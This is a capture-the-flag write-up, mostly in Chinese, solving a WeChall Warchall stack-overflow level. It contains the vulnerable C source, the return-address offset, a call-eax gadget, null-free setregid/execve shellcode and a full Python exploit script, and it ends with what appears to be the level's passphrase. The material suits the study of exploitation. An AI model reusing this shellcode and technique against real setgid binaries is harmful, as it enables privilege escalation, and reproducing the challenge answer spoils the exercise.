WeChall - Training - Warchall - 7 Tropical Fruits

Warchall level 7 — 32-bit setgid ELF 栈溢出。ASLR enabled 但 NX disabled、无 PIE、无 canary,非常适合 ret2reg + shellcode 经典打法。利用 memcpy 返回后 EAX 残留 vulnbuf 地址的特性,通过 call *%eax gadget 跳转到栈上 shellcode 获取 setgid shell。

1
2
ssh -p 19198 level07@warchall.net
/home/level/07_tropical_fruits/

Challenge

32-bit setgid ELF binary,源码由 hint() 函数泄露(调用 printf 打印 "Need to bypass aslr" 后 exit(0)):

1
2
3
4
5
6
7
8
9
10
11
12
13
void hint() {
printf("Need to bypass aslr\n");
exit(0);
}
void vulnfunc(char *input) {
char vulnbuf[300];
memcpy(vulnbuf, input, strlen(input)); // 无边界检查
}
int main(int argc, char *argv[]) {
if(argc > 1) vulnfunc(argv[1]);
else printf("%s <input>\n", argv[0]);
return 0;
}

保护: setgid level07, NX disabled (GNU_STACK RWE), No PIE, No canary, ASLR enabled. libc: glibc 2.35.

Solution

漏洞: memcpy(vulnbuf, input, strlen(input)) 无边界检查,栈溢出。

Stack Layout

1
2
3
4
sub esp, 0x148 (328 bytes)
vulnbuf at ebp - 0x134 (ebp - 308)
return addr at ebp + 4
Offset to return address: 308 + 4 = 312 bytes

关键 Gadget

memcpy 返回后 EAX = vulnbuf 地址(即栈上 shellcode 地址),因此可以用 call *%eax 直接跳转到 shellcode。

1
0x080484cf: call *%eax   ← 跳转到 shellcode

Shellcode

Null-free, 42 bytes:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
; setregid(507, 507) — 继承 setgid 权限
xor eax, eax
xor ebx, ebx
xor ecx, ecx
mov bx, 0x1fb ; 507
mov cx, 0x1fb ; 507
mov al, 0x47 ; setregid32
int 0x80

; execve("/bin//sh", ["/bin//sh", NULL], NULL)
xor eax, eax
push eax
push "//sh"
push "/bin"
mov ebx, esp
push eax
push ebx
mov ecx, esp
cdq ; edx = 0
mov al, 0x0b ; execve
int 0x80

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!/usr/bin/env python3
"""Warchall Level 7 — Tropical Fruits exploit."""

import struct
import subprocess

# Null-free shellcode (42 bytes)
shellcode = (
b"\x31\xc0\x31\xdb\x31\xc9" # xor eax; xor ebx; xor ecx
b"\x66\xbb\xfb\x01\x66\xb9\xfb\x01" # mov bx, 0x1fb; mov cx, 0x1fb
b"\xb0\x47\xcd\x80" # mov al, 0x47; int 0x80
b"\x31\xc0\x50\x68\x2f\x2f\x73\x68" # xor eax; push eax; push "//sh"
b"\x68\x2f\x62\x69\x6e\x89\xe3" # push "/bin"; mov ebx, esp
b"\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" # push eax; push ebx; mov ecx, esp; cdq; mov al, 0x0b; int 0x80
)

OFFSET = 312
CALL_EAX = struct.pack("<I", 0x080484cf)

payload = shellcode + b"\x90" * (OFFSET - len(shellcode)) + CALL_EAX

subprocess.run(
["/home/level/07_tropical_fruits/level07", payload],
env={"PWD": "/home/level/07_tropical_fruits"},
)

执行后交互式 shell 继承 setgid level07,可读 solution.txt。

LetsGetItOn!